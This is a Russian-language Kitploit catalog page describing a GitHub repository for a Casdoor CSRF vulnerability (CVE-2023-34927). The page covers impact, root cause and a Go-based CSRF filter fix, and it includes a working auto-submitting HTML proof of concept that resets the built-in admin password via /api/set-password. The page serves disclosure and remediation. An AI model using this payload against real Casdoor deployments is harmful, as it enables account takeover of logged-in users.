Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
csrf_casdoor — Доказательство концепции CSRF-эксплойта для конечной точки `/api/set-password` в Casdoor (CVE-2023-34927), позволяющее несанкционированно изменять пароль через межсайтовые POST-запросы. Включает исправление CSRF-фильтра на основе Go. | Kitploit
Инструменты/GitHubGitHub/vanlam2001/csrf_casdoor
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеАутентификация
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

Доказательство концепции CSRF-эксплойта для конечной точки `/api/set-password` в Casdoor (CVE-2023-34927), позволяющее несанкционированно изменять пароль через межсайтовые POST-запросы. Включает исправление CSRF-фильтра на основе Go.

Репозиторий
117 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Casdoor – Подделка межсайтовых запросов (CSRF)

Краткое описание

  • Уязвимость: CSRF в /api/set-password, позволяющая изменять пароль без согласия пользователя.
  • Затронутые версии: Затронуты все версии программного обеспечения. Исправленный релиз на данный момент отсутствует.
  • CVE: CVE-2023-34927 (окончательный идентификатор ещё не присвоен).
  • Автор эксплойта: Van Lam Nguyen.
  • Протестировано на: Windows

Воздействие

  • Если жертва авторизована в Casdoor, межсайтовый POST-запрос может изменить пароль жертвы (например, built-in/admin), что приводит к захвату учётной записи.

Предварительные условия атаки

  • Жертва аутентифицирована и имеет действительный cookie casdoor_session_id.
  • Жертва посещает вредоносную страницу, которая автоматически отправляет POST-запрос на /api/set-password.

Доказательство концепции

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

Первопричина

  • Конечные точки, изменяющие состояние, по пути /api/* принимают запросы, аутентифицированные через cookie, без проверки same-origin (Origin/Referer) или CSRF-токенов.

Обзор исправления

  • Добавить серверный CSRF-фильтр для отклонения межсайтовых POST/PUT/DELETE/PATCH-запросов на основе cookie по пути /api/*.
  • Разрешить запросы, содержащие явную не-cookie аутентификацию (например, Authorization, Basic auth, client credentials или accessToken), либо запросы без браузерных сессионных cookie (типичные вызовы server-to-server).

Реализация

  • Использовать routers.CSRFFilter, реализованный в csrf_filter.go. Этот фильтр:
    • Досрочно завершается для методов, не изменяющих состояние.
    • Разрешает запросы с явной не-cookie аутентификацией.
    • Блокирует межсайтовые запросы, когда присутствует сессионный cookie и origin не совпадает с хостом.

Как интегрировать в Casdoor

  1. Скопируйте csrf_filter.go в существующий пакет routers проекта Casdoor. Не изменяйте и не удаляйте ничего в этом файле.
  2. Зарегистрируйте фильтр на раннем этапе HTTP-конвейера (внутри main):
    // Beego v1 style
    web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

Проверка

  • После регистрации фильтра воспроизведите приведённый выше PoC, будучи авторизованным. Запрос должен быть отклонён с сообщением Unauthorized operation, а сервер должен записать в лог CSRF check failed.
  • Межсайтовые вызовы API, включающие заголовки Authorization или параметры accessToken, должны продолжать работать.

Файлы репозитория

  • csrf_filter.go: CSRF-фильтр для копирования в пакет routers Casdoor.
  • poc.html: Минимальная страница, воспроизводящая CSRF-атаку.
  • README.md: Этот документ, описывающий уязвимость и шаги исправления.

Ссылки

  • Casdoor: https://casdoor.org/
  • Версия: https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

Видео

  • Youtube: https://youtu.be/N5VENgiObjY
Скачать инструмент